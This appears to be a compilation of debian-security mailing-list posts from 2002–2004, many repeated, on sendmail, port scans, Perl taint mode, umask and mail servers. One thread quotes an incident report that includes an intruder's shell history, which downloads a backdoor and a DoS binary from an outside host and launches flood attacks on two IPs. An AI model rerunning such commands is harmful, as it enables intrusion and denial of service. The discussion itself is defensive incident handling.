Are you able to ping 64.4.33.7 !? If so, try 'telnet 64.4.33.7 25' next to get a smtp prompt. If nothing works look at your connection: Firewall rules etc. Beside that your sendmail seems to work. Christian - Original Message - From: "arun raj" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Monday, January 05, 2004 11:48 AM Subject: sendmail problem:connection timed out hello, I am using sendmail 8.12 in redhat linux9.0 to send mail.It sends the message between the internal network. But it doesnot send the message to the external network. I want to send mail to [EMAIL PROTECTED] But it is not sending mail.The following logs are generated in maillog . >From the message i understand that it is accepting the mail.But it is not able to relay to the user_account @hotmail.com Please reply as soon as possible. very urgent. logs ** Jan 5 12:04:56 arun sendmail[5213]: i056YuFS005213: from=root, size=133, class=0, nrcpts=1, msgid=<[EMAIL PROTECTED]>, [EMAIL PROTECTED] Jan 5 12:04:56 arun sendmail[5215]: i056Yuor005215: from=<[EMAIL PROTECTED]>, size=333, class=0, nrcpts=1, msgid=<[EMAIL PROTECTED]>, proto=ESMTP, daemon=MTA, relay=localhost [127.0.0.1] (may be forged) Jan 5 12:04:56 arun sendmail[5213]: i056YuFS005213: [EMAIL PROTECTED], ctladdr=root (0/0), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30086, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (i056Yuor005215 Message accepted for delivery) Jan 5 12:07:56 arun sendmail[5217]: i056Yuor005215: to=<[EMAIL PROTECTED]>, ctladdr=<[EMAIL PROTECTED]> (0/0), delay=00:03:00, xdelay=00:03:00, mailer=esmtp, pri=30286, relay=hotmail.com [64.4.33.7], dsn=4.0.0, stat=Deferred: Connection timed out with hotmail.com thanks, arun my email_id: [EMAIL PROTECTED] Yahoo! India Matrimony: Find your partner online. Go to http://yahoo.shaadi.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: suspicious smbd connections
That's typical: IP's are really scanned like ..., 1.2.3.4, 1.2.3.5, 1.2.3.6, ... etc. > > You are being scanned. Get used to it. You're not specifically being > > targetted, but rather your IP address was randomly generated by some > > worm on some Windows box and a connection attempt was made. If you're > > feeling particularly motivated, you can try to track down the owner of > > the infected machine (or at least the owner of the netblock it lives on) > > and inform them, but it probably won't do you much good. I suspect that > > you'll quickly find that most owners are simply not responsive. > > > > noah > > > But I have a dynamic IP. Every time I boot my system I get another > IP-address. > > > -- > To UNSUBSCRIBE, email to [EMAIL PROTECTED] > with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] >
Re: suspicious smbd connections
That's typical: IP's are really scanned like ..., 1.2.3.4, 1.2.3.5, 1.2.3.6, ... etc. > > You are being scanned. Get used to it. You're not specifically being > > targetted, but rather your IP address was randomly generated by some > > worm on some Windows box and a connection attempt was made. If you're > > feeling particularly motivated, you can try to track down the owner of > > the infected machine (or at least the owner of the netblock it lives on) > > and inform them, but it probably won't do you much good. I suspect that > > you'll quickly find that most owners are simply not responsive. > > > > noah > > > But I have a dynamic IP. Every time I boot my system I get another > IP-address. > > > -- > To UNSUBSCRIBE, email to [EMAIL PROTECTED] > with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] > -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: creating password for a shadow file
- Original Message - From: "LeVA" <[EMAIL PROTECTED]> > > htpasswd -m shadow.ftp user > htpasswd without '-m' works for apache 1.3.26 & proftpd 1.2.4, with '-m' it doesn't! (both actual version from woody) Christian
Re: creating password for a shadow file
- Original Message - From: "LeVA" <[EMAIL PROTECTED]> > > htpasswd -m shadow.ftp user > htpasswd without '-m' works for apache 1.3.26 & proftpd 1.2.4, with '-m' it doesn't! (both actual version from woody) Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: How efficient is mounting /usr ro?
Yes, a very sophisticated kind of definition. But what about the small gap between theory and practice? Now here we're discussing about 'real life'. So I think security and availability represent to basic independend points of discussion. Security in a sense of preventing of bad impact from outside a system. That's debian-security. For the second one I would suggest debian-isp or debian-user. Christian - Original Message - From: "Bernd Eckenfels" <[EMAIL PROTECTED]> To: Sent: Friday, October 17, 2003 6:26 PM Subject: Re: How efficient is mounting /usr ro? ... > > Information Security - As defined by ISO-17799, information security is > characterized as the preservation of: > > * Confidentiality - ensuring that information is accessible only to > those authorized to have access. > * Integrity - safeguarding the accuracy and completeness of information > and processing methods. > * Availability - ensuring that authorized users have access to > information and associated assets when required.
Re: How efficient is mounting /usr ro?
Yes, a very sophisticated kind of definition. But what about the small gap between theory and practice? Now here we're discussing about 'real life'. So I think security and availability represent to basic independend points of discussion. Security in a sense of preventing of bad impact from outside a system. That's debian-security. For the second one I would suggest debian-isp or debian-user. Christian - Original Message - From: "Bernd Eckenfels" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Friday, October 17, 2003 6:26 PM Subject: Re: How efficient is mounting /usr ro? ... > > Information Security - As defined by ISO-17799, information security is > characterized as the preservation of: > > * Confidentiality - ensuring that information is accessible only to > those authorized to have access. > * Integrity - safeguarding the accuracy and completeness of information > and processing methods. > * Availability - ensuring that authorized users have access to > information and associated assets when required. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: trouble
ETIMEDOUT: TCPT_KEEP has expired ;) -Original Message- From: conrad [mailto:[EMAIL PROTECTED] Sent: Monday, October 13, 2003 6:45 PM To: debian-security@lists.debian.org Subject: trouble Socket Error: 10060
RE: trouble
ETIMEDOUT: TCPT_KEEP has expired ;) -Original Message- From: conrad [mailto:[EMAIL PROTECTED] Sent: Monday, October 13, 2003 6:45 PM To: [EMAIL PROTECTED] Subject: trouble Socket Error: 10060 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: [sec] Re: Strange segmentation faults and Zombies
>> - perl without tainting checks in cgi-bin? > >what exactly do you mean? how can i do/check that? > use '#!/usr/local/bin/perl -T' at the beginning of a perl cgi. Probably it would end in some 'tainted' errors you have to solve. For further details look into 'man perlsec'. Christian
RE: [sec] Re: Strange segmentation faults and Zombies
>> - perl without tainting checks in cgi-bin? > >what exactly do you mean? how can i do/check that? > use '#!/usr/local/bin/perl -T' at the beginning of a perl cgi. Probably it would end in some 'tainted' errors you have to solve. For further details look into 'man perlsec'. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: [sec] Re: Strange segmentation faults and Zombies
The problem is starting >>before<< id mkdir /etc/.rpn ... you should think about all what's listening on a port: - an outdated sshd? (!) - security updates all up to date? - known unclosed security hole? - some nice scripts like 'rootshell.php'? ;) - perl without tainting checks in cgi-bin? etc. etc. Christian -Original Message- From: Markus Schabel [mailto:[EMAIL PROTECTED] Sent: Thursday, September 18, 2003 12:23 PM To: debian-security@lists.debian.org Subject: Re: [sec] Re: Strange segmentation faults and Zombies maximilian attems wrote: > On Thu, 18 Sep 2003, Christian Storch wrote: > > >>Don't forget to try to find the potential hole first! >>Otherwise you could have a fast recurrence. >>[..] >> >>>>in /etc/.rpn theres a .bash_history with the following content: >>>> >>>>>id >>>>>mkdir /etc/.rpn >>>>>ps -aux >>>>>ps -aux | grep tbk >>>>>kill -15292 pid >>>>>kill 15292 >>>>>netconf >>>>>locate httpd.conf >>>>>cd /etc/.rpn >>>>>ls -al >>>>>wget >>>>>cd /var/www/cncmap/www/upload/renegade >>>>>ls -al >>>>>rm -rf phpshell.php > > ^__^ > was this the exploited hole ? I think so. In fact the problem is that it got there... regards Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: [sec] Re: Strange segmentation faults and Zombies
The problem is starting >>before<< id mkdir /etc/.rpn ... you should think about all what's listening on a port: - an outdated sshd? (!) - security updates all up to date? - known unclosed security hole? - some nice scripts like 'rootshell.php'? ;) - perl without tainting checks in cgi-bin? etc. etc. Christian -Original Message- From: Markus Schabel [mailto:[EMAIL PROTECTED] Sent: Thursday, September 18, 2003 12:23 PM To: [EMAIL PROTECTED] Subject: Re: [sec] Re: Strange segmentation faults and Zombies maximilian attems wrote: > On Thu, 18 Sep 2003, Christian Storch wrote: > > >>Don't forget to try to find the potential hole first! >>Otherwise you could have a fast recurrence. >>[..] >> >>>>in /etc/.rpn theres a .bash_history with the following content: >>>> >>>>>id >>>>>mkdir /etc/.rpn >>>>>ps -aux >>>>>ps -aux | grep tbk >>>>>kill -15292 pid >>>>>kill 15292 >>>>>netconf >>>>>locate httpd.conf >>>>>cd /etc/.rpn >>>>>ls -al >>>>>wget >>>>>cd /var/www/cncmap/www/upload/renegade >>>>>ls -al >>>>>rm -rf phpshell.php > > ^__^ > was this the exploited hole ? I think so. In fact the problem is that it got there... regards Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange segmentation faults and Zombies
Don't forget to try to find the potential hole first!
Otherwise you could have a fast recurrence.
Christian
- Original Message -
From: "Josh Carroll" <[EMAIL PROTECTED]>
To:
Sent: Thursday, September 18, 2003 9:12 AM
Subject: Re: Strange segmentation faults and Zombies
> Backup /etc and any other data you have, and you can reference your
> configuration files later
> during your re-install.
>
> At this point, re-installation is a must. Never delude yourself into thinking
> you can 'recover'
> from being rooted. Sure, you might be able to do so after a lot of
> effort/etc, but then again
maybe
> you'll forget something and a backdoor will remain. Best bet is to
> re-install, referencing your
> existing configuration files (though I would NOT use them as-is without
> inspection, since they
> could potentially have backdoor'd the configs as well).
>
> Good luck.
>
> Josh
>
>
> Markus Schabel ([EMAIL PROTECTED]) wrote:
> > Laurent Corbes {Caf'} wrote:
> > >On Wed, 17 Sep 2003 22:29:58 +0200
> > >Markus Schabel <[EMAIL PROTECTED]> wrote:
> > >
> > >
> > >>I've seen some strange things on my (stable with security-updates)
> > >>server: the last apt-get update didn't work because gzip segfaultet.
> > >>I've copied gzip from another server over the version on this server,
> > >>but it also crashed. Interesting was that the executable was bigger
> > >>after the segfault.
> > >
> > >
> > >curious.
> > >
> > >
> > >>In a ps I can see a lot of Zombies (rm, ln, readlink, grep) and I've no
> > >>idea where they come from.
> > >
> > >
> > >it's the daily cronjob that stole.
> >
> > yes, and that's reproducable :(
> >
> > >>You think the server got hacked? Are there any other things that can
> > >>lead to this? man also behaves strange, it says either "No manual entry
> > >>for...", "What manual page do you want?" or nothing.
> > >
> > >
> > >i'm thinking about a hardware problem.
> > >may the harddrive is in failure (get the ouput of dmesg) or a very big
> > >ram problem that corrupt files on the hard drive.
> >
> > request_module[net-pf-14]: waitpid(15400,...) failed, errno 1
> > ptrace uses obsolete (PF_INET,SOCK_PACKET)
> > eth0: Promiscuous mode enabled.
> > device eth0 entered promiscuous mode
> > eth0: Promiscuous mode enabled.
> >
> > but nothing about the disks
> >
> > >in every case simply copy all the data you can and inspect the hdd in
> > >another box mounting it read only.
> >
> > setuid.changes lists /dev/* and the following programs:
> > pppd
> > postdrop
> > postqueue
> > wall
> > newgrp
> > at
> > chage
> > chfn
> > chsh
> > expiry
> > gpasswd
> > passwd
> > write
> > crontab
> > dotlockfile
> > ssh-keysign
> > procmail
> > lockfile
> > popauth
> > pt_chown
> > traceroute
> > mount
> > umount
> > login
> > su
> > ping
> > suexec
> > /usr/lib/mc/bin/cons.saver
> >
> > and a new user exists in /etc/passwd: slacks:x:0:0::/etc/.rpn:/bin/bash
> >
> > in /etc/.rpn theres a .bash_history with the following content:
> >
> > >id
> > >mkdir /etc/.rpn
> > >ps -aux
> > >ps -aux | grep tbk
> > >kill -15292 pid
> > >kill 15292
> > >netconf
> > >locate httpd.conf
> > >cd /etc/.rpn
> > >ls -al
> > >wget
> > >cd /var/www/cncmap/www/upload/renegade
> > >ls -al
> > >rm -rf phpshell.php
> > >cat bd.c
> > >gcc -o bd bd.c
> > >ftp ftp.hpg.com.br
> > >rm -rf bd.c
> > >cd /tmp
> > >cd /etc/.rpn
> > >wget www.slacks.hpg.com.br/psyBNC.tar.gz
> > >tar zvxf psyBNC.tar.gz
> > >tar -zvxf psyBNC.tar.gz
> > >tar
> > >gunzip psyBNC.tar.gz
> > >tar -Acdtrux psyBNC.tar.gz
> > >tar -x psyBNC.tar.gz
> > >tar -Acd psyBNC.tar.gz
> > >tar -cd psyBNC.tar.gz
> > >tar --help
> > >pwd
> > >ls
> > >rm -rf *
> > >wget www.slacks.hpg.com.br/bin/dos
> > >chmod +x dos
> > >./dos
> > >./dos 200.101.87.8 65535 8569
> > >./dos 200.199.95.11 65535 8569
> >
> > and the executable dos
> >
> > interesting is the line "tar --help" :D
> >
> > in "last" I see the following:
> >
> > >slacks pts/0Sun Sep 14 02:26 - 03:37 (01:11)
> > >200-147-107-35.tlm.dialuol.com.br
> >
> > IP of the hacker is 200.147.107.35
> > I think we have no chance of legal actions against .br?
> >
> > in the directory /var/www/cncmap/www/upload/renegade there are the
> > following files: backhole.pl
> > e.c ("Copyright (c) 2003 DTORS Security, ANGELO ROSIELLO 18/02/2003,
> > LES-EXPLOIT for Linux x86")
> > rem.php (phpRemoteView)
> >
> > so we got hacked :(
> >
> > what informations should we gather before we reinstall the complete
> > server? I think we have to reinstall the whole thing or do you have
> > any ideas?
> >
> > thanks
> > Markus
> >
> >
> > --
> > To UNSUBSCRIBE, email to [EMAIL PROTECTED]
> > with a subject of "unsubscribe". Trouble? Contact
> > [EMAIL PROTECTED]
> >
>
>
> --
> To UNSUBSCRIBE, email to [EMAIL PROTECTED]
> with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
>
Re: Strange segmentation faults and Zombies
Don't forget to try to find the potential hole first!
Otherwise you could have a fast recurrence.
Christian
- Original Message -
From: "Josh Carroll" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, September 18, 2003 9:12 AM
Subject: Re: Strange segmentation faults and Zombies
> Backup /etc and any other data you have, and you can reference your configuration
> files later
> during your re-install.
>
> At this point, re-installation is a must. Never delude yourself into thinking you
> can 'recover'
> from being rooted. Sure, you might be able to do so after a lot of effort/etc, but
> then again
maybe
> you'll forget something and a backdoor will remain. Best bet is to re-install,
> referencing your
> existing configuration files (though I would NOT use them as-is without inspection,
> since they
> could potentially have backdoor'd the configs as well).
>
> Good luck.
>
> Josh
>
>
> Markus Schabel ([EMAIL PROTECTED]) wrote:
> > Laurent Corbes {Caf'} wrote:
> > >On Wed, 17 Sep 2003 22:29:58 +0200
> > >Markus Schabel <[EMAIL PROTECTED]> wrote:
> > >
> > >
> > >>I've seen some strange things on my (stable with security-updates)
> > >>server: the last apt-get update didn't work because gzip segfaultet.
> > >>I've copied gzip from another server over the version on this server,
> > >>but it also crashed. Interesting was that the executable was bigger
> > >>after the segfault.
> > >
> > >
> > >curious.
> > >
> > >
> > >>In a ps I can see a lot of Zombies (rm, ln, readlink, grep) and I've no
> > >>idea where they come from.
> > >
> > >
> > >it's the daily cronjob that stole.
> >
> > yes, and that's reproducable :(
> >
> > >>You think the server got hacked? Are there any other things that can
> > >>lead to this? man also behaves strange, it says either "No manual entry
> > >>for...", "What manual page do you want?" or nothing.
> > >
> > >
> > >i'm thinking about a hardware problem.
> > >may the harddrive is in failure (get the ouput of dmesg) or a very big
> > >ram problem that corrupt files on the hard drive.
> >
> > request_module[net-pf-14]: waitpid(15400,...) failed, errno 1
> > ptrace uses obsolete (PF_INET,SOCK_PACKET)
> > eth0: Promiscuous mode enabled.
> > device eth0 entered promiscuous mode
> > eth0: Promiscuous mode enabled.
> >
> > but nothing about the disks
> >
> > >in every case simply copy all the data you can and inspect the hdd in
> > >another box mounting it read only.
> >
> > setuid.changes lists /dev/* and the following programs:
> > pppd
> > postdrop
> > postqueue
> > wall
> > newgrp
> > at
> > chage
> > chfn
> > chsh
> > expiry
> > gpasswd
> > passwd
> > write
> > crontab
> > dotlockfile
> > ssh-keysign
> > procmail
> > lockfile
> > popauth
> > pt_chown
> > traceroute
> > mount
> > umount
> > login
> > su
> > ping
> > suexec
> > /usr/lib/mc/bin/cons.saver
> >
> > and a new user exists in /etc/passwd: slacks:x:0:0::/etc/.rpn:/bin/bash
> >
> > in /etc/.rpn theres a .bash_history with the following content:
> >
> > >id
> > >mkdir /etc/.rpn
> > >ps -aux
> > >ps -aux | grep tbk
> > >kill -15292 pid
> > >kill 15292
> > >netconf
> > >locate httpd.conf
> > >cd /etc/.rpn
> > >ls -al
> > >wget
> > >cd /var/www/cncmap/www/upload/renegade
> > >ls -al
> > >rm -rf phpshell.php
> > >cat bd.c
> > >gcc -o bd bd.c
> > >ftp ftp.hpg.com.br
> > >rm -rf bd.c
> > >cd /tmp
> > >cd /etc/.rpn
> > >wget www.slacks.hpg.com.br/psyBNC.tar.gz
> > >tar zvxf psyBNC.tar.gz
> > >tar -zvxf psyBNC.tar.gz
> > >tar
> > >gunzip psyBNC.tar.gz
> > >tar -Acdtrux psyBNC.tar.gz
> > >tar -x psyBNC.tar.gz
> > >tar -Acd psyBNC.tar.gz
> > >tar -cd psyBNC.tar.gz
> > >tar --help
> > >pwd
> > >ls
> > >rm -rf *
> > >wget www.slacks.hpg.com.br/bin/dos
> > >chmod +x dos
> > >./dos
> > >./dos 200.101.87.8 65535 8569
> > >./dos 200.199.95.11 65535 8569
> >
> > and the executable dos
> >
> > interesting is the line "tar --help" :D
> >
> > in "last" I see the following:
> >
> > >slacks pts/0Sun Sep 14 02:26 - 03:37 (01:11)
> > >200-147-107-35.tlm.dialuol.com.br
> >
> > IP of the hacker is 200.147.107.35
> > I think we have no chance of legal actions against .br?
> >
> > in the directory /var/www/cncmap/www/upload/renegade there are the
> > following files: backhole.pl
> > e.c ("Copyright (c) 2003 DTORS Security, ANGELO ROSIELLO 18/02/2003,
> > LES-EXPLOIT for Linux x86")
> > rem.php (phpRemoteView)
> >
> > so we got hacked :(
> >
> > what informations should we gather before we reinstall the complete
> > server? I think we have to reinstall the whole thing or do you have
> > any ideas?
> >
> > thanks
> > Markus
> >
> >
> > --
> > To UNSUBSCRIBE, email to [EMAIL PROTECTED]
> > with a subject of "unsubscribe". Trouble? Contact
> > [EMAIL PROTECTED]
> >
>
>
> --
> To UNSUBSCRIBE, email to [EMAIL PROTECTED]
> with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
>
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
apache with umask 002
Hello, did anybody know about security issues about changing umask for apache from 022 to 002? The reason is that we want to give ftp users write access to files generated by apache user. Thanks. Christian
apache with umask 002
Hello, did anybody know about security issues about changing umask for apache from 022 to 002? The reason is that we want to give ftp users write access to files generated by apache user. Thanks. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: PHP & imap-ssl support
I don't think there would be another 'version' of the same package. But what error did you get while compiling? With or without --with-imap-ssl? I've a running environment for recompiling php4 (stable release) without any problems (though I've switched on more than 4.1 would allow ;). Christian -Original Message- From: Kristof Goossens [mailto:[EMAIL PROTECTED] Sent: Wednesday, May 21, 2003 11:48 AM To: debian-security@lists.debian.org Subject: PHP & imap-ssl support ... Does a package to enable imap-ssl support for php exist? If so, what's it called? If not: how can I solve the problem? Compiling sources results in an error :( ...
Spam
Interesting. That mail has overcome spamassassin without any hits: X-Spam-Status: No, hits=0.0 required=4.0 tests=none version=2.53-lists.debian.org_2003_04_28 X-Spam-Checker-Version: SpamAssassin 2.53-lists.debian.org_2003_04_28 (1.174.2.15-2003-03-30-exp) Any options to get it? -Original Message- From: Mr Richared Savimbi [mailto:[EMAIL PROTECTED] Sent: Friday, May 16, 2003 8:15 AM To: debian-security@lists.debian.org Subject: Goodday! It is with hope that I write to seek your help in this context. I am Mrs. Victoria Guei wife of the former Head Of State of Cote'd Ivoire,Late General Robert Guei who was assassinated on the19th of September 2002 in a military uprising in my country. ...
Re: [work] Integrity of Debian packages
> Maybe you should talk to the family of the 3300 people in the WTC that > died because the FBI, CIA > or Special Services didn't have or couldn't intercept the many mail, fax > and cell phone communications > that went between the cowards that flew planes into the buildings. > > You know, I feel safer now than I did on 9-11. The price of freedom is > costly. > > What do you think? That all the bad guys all over the world would be so polite to use the net for their conspirative communications - at best without any encryption? I'm not afraid of them! The reality is not only Washington is misusing the situation for other interests. So I'm thinking about establishing an own small debian archive out of self recompiled packages as ong as there is no secure solution of authenticating packages! Christian
Re: [work] Integrity of Debian packages
> Maybe you should talk to the family of the 3300 people in the WTC that > died because the FBI, CIA > or Special Services didn't have or couldn't intercept the many mail, fax > and cell phone communications > that went between the cowards that flew planes into the buildings. > > You know, I feel safer now than I did on 9-11. The price of freedom is > costly. > > What do you think? That all the bad guys all over the world would be so polite to use the net for their conspirative communications - at best without any encryption? I'm not afraid of them! The reality is not only Washington is misusing the situation for other interests. So I'm thinking about establishing an own small debian archive out of self recompiled packages as ong as there is no secure solution of authenticating packages! Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: raw disk access
What about cp /dev/sdx /dev/sdy It works very well on two identical drives - - perhaps when the second one is larger, too. You don't need any permissions. The result is really a clone including partition table! I used this from a floppy with a full version of cp. Christian > - Original Message - > From: "Alberto Cortés" <[EMAIL PROTECTED]> > To: "Debian-security" > Sent: Saturday, February 08, 2003 12:43 PM > Subject: Re: raw disk access > El mar, 07 de ene de 2003, a las 19:51 -0800, > Blars decía que: > > > In article <[EMAIL PROTECTED]> [EMAIL PROTECTED] writes: > > > i am looking for forensics tools that can be used in computer > > > crime investigations, and am particularly interesting in a tool > > > that provides raw drive (hard, floppy, CD, DVD, etc.) access in > > > order to create complete and accurate drive images. > > > > Low level tools are no trick at all. If you are root or root has given > > you access (recomended), you can use any normal tools (dd, grep, perl) > > on the appropriate /dev/hd* or /dev/sd* . > > > > You can mount the filesystem read-only if you don't want to access > > deleted files, etc. > > > > As far as i know, when u do something like: > > dd if=/dev/org_dev of=/dev/dest_dev > > You are pasing through 2 interfaces u don't control, at least u don't > have direct control of them. I am talking about the drivers of the > devices, which can do some modifications of the data. > > A look to the drivers, driver_open() driver_close(), driver_read() and > so on has to be done to fully understand what they are doing with the > data, not to mention the hardware functionality implemented by the > hardware, like error checking and other things. > > I have never look at any hard disk driver but i think u will have to > do it if u want to be sure. > > Maybe u can disable some hardware functionality with some IOCTL. > ...
Re: raw disk access
What about cp /dev/sdx /dev/sdy It works very well on two identical drives - - perhaps when the second one is larger, too. You don't need any permissions. The result is really a clone including partition table! I used this from a floppy with a full version of cp. Christian > - Original Message - > From: "Alberto Cortés" <[EMAIL PROTECTED]> > To: "Debian-security" <[EMAIL PROTECTED]> > Sent: Saturday, February 08, 2003 12:43 PM > Subject: Re: raw disk access > El mar, 07 de ene de 2003, a las 19:51 -0800, > Blars decía que: > > > In article <[EMAIL PROTECTED]> [EMAIL PROTECTED] writes: > > > i am looking for forensics tools that can be used in computer > > > crime investigations, and am particularly interesting in a tool > > > that provides raw drive (hard, floppy, CD, DVD, etc.) access in > > > order to create complete and accurate drive images. > > > > Low level tools are no trick at all. If you are root or root has given > > you access (recomended), you can use any normal tools (dd, grep, perl) > > on the appropriate /dev/hd* or /dev/sd* . > > > > You can mount the filesystem read-only if you don't want to access > > deleted files, etc. > > > > As far as i know, when u do something like: > > dd if=/dev/org_dev of=/dev/dest_dev > > You are pasing through 2 interfaces u don't control, at least u don't > have direct control of them. I am talking about the drivers of the > devices, which can do some modifications of the data. > > A look to the drivers, driver_open() driver_close(), driver_read() and > so on has to be done to fully understand what they are doing with the > data, not to mention the hardware functionality implemented by the > hardware, like error checking and other things. > > I have never look at any hard disk driver but i think u will have to > do it if u want to be sure. > > Maybe u can disable some hardware functionality with some IOCTL. > ... -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: pop mail recommendations
Look at brand new http://packages.debian.org/unstable/mail/cyrus21-imapd.html ssl included! Christian -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Friday, December 06, 2002 4:12 PM To: debian-security@lists.debian.org Subject: Re: pop mail recommendations ... I'd suggest The University of Washington's POP3 server. Which does support SSL. However I don't believe the Debian packages for potato included a daemon with SSL support. Not sure about Woody, Sarge or Sid though. I just built it from source. You can get the source here: ...
RE: pop mail recommendations
Why it did 'fell down .. with exim'? With a little bit more expense as usual cyrus 2.0.16 worked very fine with sendmail 8.12.2! regards, Christian -Original Message- From: Jeff AA [mailto:[EMAIL PROTECTED] Sent: Friday, December 06, 2002 1:48 PM To: debian-security@lists.debian.org Subject: RE: pop mail recommendations Second the recommendation for courier. We have exim / courier [pop imap pops imaps] using maildir formats and controlled from mysql for virtual users accepting mail for about 20 domains. We did compare with Cyrus, but that fell down on integration with exim. ...
RE: pop mail recommendations
Look at brand new http://packages.debian.org/unstable/mail/cyrus21-imapd.html ssl included! Christian -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Friday, December 06, 2002 4:12 PM To: [EMAIL PROTECTED] Subject: Re: pop mail recommendations ... I'd suggest The University of Washington's POP3 server. Which does support SSL. However I don't believe the Debian packages for potato included a daemon with SSL support. Not sure about Woody, Sarge or Sid though. I just built it from source. You can get the source here: ... -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: pop mail recommendations
Why it did 'fell down .. with exim'? With a little bit more expense as usual cyrus 2.0.16 worked very fine with sendmail 8.12.2! regards, Christian -Original Message- From: Jeff AA [mailto:[EMAIL PROTECTED]] Sent: Friday, December 06, 2002 1:48 PM To: [EMAIL PROTECTED] Subject: RE: pop mail recommendations Second the recommendation for courier. We have exim / courier [pop imap pops imaps] using maildir formats and controlled from mysql for virtual users accepting mail for about 20 domains. We did compare with Cyrus, but that fell down on integration with exim. ... -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
